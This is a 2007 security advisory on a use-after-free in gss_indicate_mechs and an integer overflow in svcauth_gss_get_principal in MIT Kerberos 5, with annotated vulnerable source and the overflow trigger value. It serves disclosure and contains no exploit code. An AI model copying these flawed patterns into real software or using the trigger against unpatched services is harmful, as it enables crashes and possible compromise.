mit-krb5 lib vulnerability [Security Advisory] Advisory: [AD_LAB-0714] mit-krb5 gssapi and rpc lib vulnerability Class: Design Error DATE:11/9/2007 CVEID: CVE-2007-5901,CVE-2007-5902 Vulnerable: mit-krb5 All Vendor: MIT I.Synopsis Two vulnerability has been discovered in gssapi lib and rpc lib included in mit-krb5. II.DETAILS: ---------- Background The gssapi lib and rpc lib is crypt libs including in mit-krb5. Description There is a dereferencing vulnerability in function gss_indicate_mechs(minorStatus, mechSet) in g_initialize.c. ...... 197 for (i = 0; i < (*mechSet)->count; i++) { 198 curItem = &((*mechSet)->elements[i]); 199 curItem->elements = 200 (void *) malloc(g_mechSet.elements[i].length); 201 if (curItem->elements == NULL) { 202 (void) k5_mutex_unlock(&g_mechSetLock); 203 /* 204 * must still free the allocated elements for 205 * each allocated gss_OID_desc 206 */ 207 for (j = 0; j < i; j++) { 208 free((*mechSet)->elements[j].elements); 209 } 210 free((*mechSet)->elements); (1)Pointer "mechSet" freed by "free" 211 free(mechSet); (2)Dereferencing freed pointer "mechSet" 212 *mechSet = NULL; 213 return (GSS_S_FAILURE); 214 } 215 g_OID_copy(curItem, &g_mechSet.elements[i]); 216 } 217 (void) k5_mutex_unlock(&g_mechSetLock); 218 return (GSS_S_COMPLETE); 219 } /* gss_indicate_mechs */ ...... There is a integer overflow vunerability in function svcauth_gss_get_principal in svc_auth_gss.c 666 svcauth_gss_get_principal(SVCAUTH *auth) 667 { 668 struct svc_rpc_gss_data *gd; 669 char *pname; 670 671 gd = SVCAUTH_PRIVATE(auth); 672 673 if (gd->cname.length == 0) 674 return (NULL); 675 (1) if cnname.length is set to 0xffffffff, it will cause a integer overflow when memcpy in line 679 676 if ((pname = malloc(gd->cname.length + 1)) == NULL) 677 return (NULL); 678 679 memcpy(pname, gd->cname.value, gd->cname.length); 680 pname[gd->cname.length] = '\0'; 681 682 return (pname); 683 } Impact A remote attacker may cause instability and potentially crash an application or service that using the gssapi lib or rpc lib in mit-krb5.
